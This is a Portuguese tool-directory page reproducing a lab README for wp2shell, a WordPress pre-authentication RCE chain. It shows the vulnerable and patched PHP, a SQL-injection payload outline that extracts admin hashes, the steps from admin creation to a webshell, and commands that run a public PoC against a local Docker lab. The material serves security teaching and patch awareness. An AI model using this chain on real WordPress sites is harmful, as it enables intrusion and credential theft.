Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-63030-lab — wp2shell (CVE-2026-63030 & CVE-2026-60137) - cadeia RCE completa | Kitploit
Ferramentas/GitHubGitHub/mhassani97/cve-2026-63030-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAprendizado e EducaçãoLabs e Prática
GitHubmhassani97/cve-2026-63030-lab

cve-2026-63030-lab

wp2shell (CVE-2026-63030 & CVE-2026-60137) - cadeia RCE completa

Ver Repositório
1há 4 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-63030 — wp2shell Lab

RCE de Pré-Autenticação no Núcleo do WordPress via Confusão de Rotas no Lote da REST API + Injeção de SQL

WordPress CVE CVSS License

Baixar ferramenta

Visão Geral

wp2shell é uma cadeia de duas falhas independentes de baixa gravidade no núcleo do WordPress que, quando combinadas, permitem que um atacante remoto não autenticado:

  1. Alcance um sink de injeção de SQL sem credenciais
  2. Extraia do banco de dados o hash da senha do administrador
  3. Crie uma nova conta de administrador
  4. Faça o upload de um webshell e alcance a Execução Remota de Código (RCE) completa
PropriedadeDetalhe
CVEsCVE-2026-63030 + CVE-2026-60137
CVSS9.8 Crítico
Autenticação necessáriaNenhuma (pré-autenticação)
Vetor de ataqueRede
Versões afetadasWordPress 6.9.0–6.9.4 e 7.0.0–7.0.1
Versões corrigidas6.9.5 e 7.0.2 (lançadas em 17 de julho de 2026)

As Duas Falhas

CVE-2026-63030 — Confusão de Rotas no Lote da REST API

Arquivo: wp-includes/rest-api/class-wp-rest-server.php

serve_batch_request_v1() mantém dois arrays paralelos: $matches[] para manipuladores e $validation[] para resultados. Quando uma sub-requisição falha com um WP_Error (caminho quebrado), ela é inserida em $validation[], mas não em $matches[]. Isso cria um deslocamento de índice +1 — a sub-requisição i é despachada com o manipulador da sub-requisição i+1.

root@kitploit:~
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
    $responses[] = envelope();
    continue; // $matches[] NOT pushed ← BUG
}

// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
    $matches[]   = null; // ← FIX: keeps arrays in sync
    $responses[] = envelope();
    continue;
}

CVE-2026-60137 — Injeção de SQL no WP_Query

Arquivo: wp-includes/class-wp-query.php

O parâmetro author__not_in espera um array de inteiros. Quando uma string é passada, implode() concatena o valor bruto diretamente na cláusula SQL WHERE — sem escape, sem parametrização.

root@kitploit:~
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';

// PATCHED (7.0.2)
$safe   = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";

Cadeia de Ataque

root@kitploit:~
Unauthenticated Attacker
        │
        ▼
POST /?rest_route=/batch/v1          ← Outer batch
  sub-req 0: "///"   → WP_Error → index shift (+1)
  sub-req 1: POST /wp/v2/posts       ← dispatched under BATCH handler
  sub-req 2: POST /batch/v1          ← dummy
        │
        │  [Confusion #1 active]
        ▼
Inner batch (body of sub-req 1)      ← schema never validated
  inner 0: "///"    → index shift (+1)
  inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
           dispatched under posts get_items()
        │
        │  [Confusion #2 active]
        ▼
WP_Query: author__not_in = raw string
        │
        ▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
        │
        ▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
        │
        ▼
Crack hash  OR  crack-free oEmbed technique
        │
        ▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE

Configuração do Laboratório

Pré-requisitos

FerramentaDownload
Docker Desktop (Windows / macOS)https://www.docker.com/products/docker-desktop
Docker Engine (Linux)https://docs.docker.com/engine/install
Githttps://git-scm.com/downloads
Burp Suite Community (opcional)https://portswigger.net/burp/communitydownload

Passo 1 — Clone o repositório

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab

Você verá estes arquivos:

root@kitploit:~
cve-2026-63030-lab/
├── docker-compose.yml     ← defines WordPress + MySQL containers
├── Dockerfile             ← custom image with Apache fix + wp-cli
├── init.sh                ← configures permalink after install
└── fix-htaccess.ps1       ← Windows helper (run if Apache returns 404)

Passo 2 — Construa e inicie o laboratório

root@kitploit:~
docker compose up -d --build

Isso irá:

  • Construir a imagem personalizada do WordPress 7.0.1 (leva ~1–2 min na primeira execução)
  • Iniciar um contêiner de banco de dados MySQL 8.0
  • Expor o WordPress em http://localhost:9090

Verifique se ambos os contêineres estão em execução:

root@kitploit:~
docker compose ps

Saída esperada:

root@kitploit:~
NAME              STATUS
wp2shell-lab      running
wp2shell-db       running

Passo 3 — Conclua a instalação do WordPress

Abra http://localhost:9090 no seu navegador e preencha:

CampoValor sugerido
Título do siteCVE-2026-63030
Nome de usuárioadmin
Senhaqualquer senha
E-mail[email protected]

Clique em Instalar o WordPress e faça login.


Passo 4 — Ative o roteamento da REST API (obrigatório)

Execute isto uma vez após a instalação:

Linux / macOS:

root@kitploit:~
docker exec wp2shell-lab bash -c "
  wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
  wp rewrite flush --allow-root --path=/var/www/html
"

Windows PowerShell:

root@kitploit:~
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"

Saída esperada:

root@kitploit:~
Success: Rewrite structure set.
Success: Rewrite rules flushed.

Passo 5 — Corrija o .htaccess (somente Windows, se você receber 404 na REST API)

root@kitploit:~
.\fix-htaccess.ps1

Passo 6 — Verifique se o laboratório está pronto

root@kitploit:~
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5

Se você vir uma resposta JSON com "namespaces" — o laboratório está pronto.


Encerramento

root@kitploit:~
# Stop and remove everything including database
docker compose down -v

Exploração (PoC)

⚠️ Somente para pesquisa de segurança autorizada e fins educacionais. Utilize apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.

A cadeia completa de exploração (detecção → SQLi → criação de admin → webshell → RCE) está implementada em:

github.com/Icex0/wp2shell-poc

root@kitploit:~
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt

# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090

# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090

A Correção

Três arquivos, com menos de 10 linhas de PHP:

ArquivoAlteração
class-wp-rest-server.phpespaço reservado $matches[] = null para manter os arrays sincronizados
class-wp-query.phpconversão (array) + array_map('absint', ...)
class-wp-rest-posts-controller.phpMesma sanitização na camada REST

Atualize para WordPress 6.9.5 ou 7.0.2 para corrigir.


Referências

RecursoLink
GitHub Advisory (CVE-2026-63030)GHSA-ff9f-jf42-662q
GitHub Advisory (CVE-2026-60137)GHSA-fpp7-x2x2-2mjf
PoC públicohttps://github.com/Icex0/wp2shell-poc

Feito com ❤️ pela Black Security Team

Website Telegram LinkedIn

Este repositório é apenas para fins educacionais e pesquisa de segurança autorizada. Não teste sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar.